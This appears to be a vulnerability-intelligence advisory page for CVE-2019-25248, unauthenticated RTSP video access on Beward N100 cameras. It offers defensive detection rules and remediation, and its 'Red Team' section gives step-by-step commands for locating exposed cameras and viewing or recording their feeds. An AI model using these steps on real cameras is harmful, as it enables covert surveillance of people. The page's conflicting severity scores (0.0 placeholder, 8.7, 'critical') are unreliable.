☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2019-25248

CVE-2019-25248 Security Advisory in Beward
📅 PUBLISHED: 2025-12-24 19:28 UTC 🔄 UPDATED: 2026-09-23 20:13 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.47%
👁️
0.47% probability
11.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Russia License: Commercial
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2019-25248 is a critical unauthenticated vulnerability in the Beward N100 IP camera running firmware version M2.1.6.04C014. The flaw allows remote attackers to access live video streams via RTSP without any authentication. This poses a severe privacy and surveillance risk, as any internet-facing camera can be trivially accessed. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as high severity due to the ease of exploitation and potential for mass surveillance. No patch is currently available from the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
  • Confidentiality (C): High (H) – Full video stream disclosure.
  • Integrity (I): None (N) – No data modification.
  • Availability (A): None (N) – No denial of service.

Threat Level: Critical. The vulnerability is trivial to exploit and exposes sensitive video feeds.

Deep Dive & Mechanics

The Beward N100 camera's RTSP (Real-Time Streaming Protocol) server does not enforce any authentication mechanism. By default, the camera listens on TCP port 554 for RTSP requests. An attacker can send a simple DESCRIBE request to the RTSP endpoint (e.g., rtsp://<camera_ip>:554/) and receive the video stream without providing any credentials. The lack of authentication is due to a missing or misconfigured access control check in the firmware's RTSP implementation.

The vulnerability is rooted in the camera's web and streaming services, which fail to validate user identity before granting access to the video feed. This is a classic case of CWE-306: Missing Authentication for Critical Function.

Vulnerable vs. Patched Code

No patched firmware version is available. The vulnerable code is proprietary and not publicly disclosed. However, the logic flaw is clear: the RTSP server does not check for valid credentials before streaming.

Vulnerable behavior (pseudocode):

void handle_rtsp_request(request) {
    // No authentication check
    stream_video(request);
}

Expected patched behavior (pseudocode):

void handle_rtsp_request(request) {
    if (!authenticate(request)) {
        return 401 Unauthorized;
    }
    stream_video(request);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A Beward N100 camera with firmware M2.1.6.04C014 exposed on the network.
  • Any RTSP client (e.g., VLC Media Player, FFmpeg, or custom Python script).

Exploitation Steps:

  1. Identify the camera's IP address (e.g., via Shodan or network scan).
  2. Use VLC to open the RTSP stream:
    vlc rtsp://<camera_ip>:554/
    
  3. Alternatively, use FFmpeg to record the stream:
    ffmpeg -i rtsp://<camera_ip>:554/ -c copy output.mp4
    
  4. For automated scanning, use a Python script:
    import cv2
    cap = cv2.VideoCapture("rtsp://<camera_ip>:554/")
    while True:
        ret, frame = cap.read()
        if ret:
            cv2.imshow('Stream', frame)
            if cv2.waitKey(1) & 0xFF == ord('q'):
                break
    cap.release()
    cv2.destroyAllWindows()
    

Expected Outcome: Live video feed is displayed or recorded without any authentication.

Blue Team

Detection & Prevention:

  • Monitor network traffic for RTSP DESCRIBE requests without prior authentication.
  • Use network segmentation to isolate IP cameras from the internet.
  • Implement firewall rules to restrict access to RTSP ports (554) to trusted IPs only.
  • Deploy an IDS/IPS with custom signatures to detect unauthenticated RTSP access.

Indicators of Compromise (IOCs)

  • Network Traffic: RTSP DESCRIBE requests to port 554 without preceding authentication.
  • Device Behavior: Camera responds to RTSP requests without requiring credentials.
  • Shodan Search: Devices with "Beward N100" and open port 554.
  • Logs: Absence of authentication logs for RTSP connections.

Detection Engineering

YARA Rule

rule CVE_2019_25248_Beward_RTSP_Unauth {
    meta:
        description = "Detects unauthenticated RTSP access to Beward N100 cameras"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25248"
    strings:
        $rtsp_describe = "DESCRIBE rtsp://"
        $beward_header = "Beward"
    condition:
        $rtsp_describe and $beward_header
}

Sigma Rule

title: Unauthenticated RTSP Access to Beward N100 Camera
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects RTSP DESCRIBE requests to Beward N100 cameras without prior authentication
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 554
        app_protocol: rtsp
        rtsp.method: DESCRIBE
    condition: selection
falsepositives:
    - Legitimate internal monitoring systems
level: high

Suricata Rule

alert tcp any any -> any 554 (msg:"CVE-2019-25248 - Unauthenticated RTSP DESCRIBE to Beward N100"; flow:to_server; content:"DESCRIBE"; nocase; content:"rtsp://"; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the camera: Place the camera on a separate VLAN with strict firewall rules.
  2. Disable RTSP if not needed: If video streaming is not required, disable the RTSP service via the camera's web interface.
  3. Use a VPN: Access the camera only through a VPN tunnel to prevent direct internet exposure.
  4. Monitor for patches: Check Beward's official website for firmware updates. If none are available, consider replacing the device.

Long-term Fix:

  • The vendor must release a firmware update that implements authentication for RTSP streams. Until then, the device remains vulnerable.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2019-25248/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.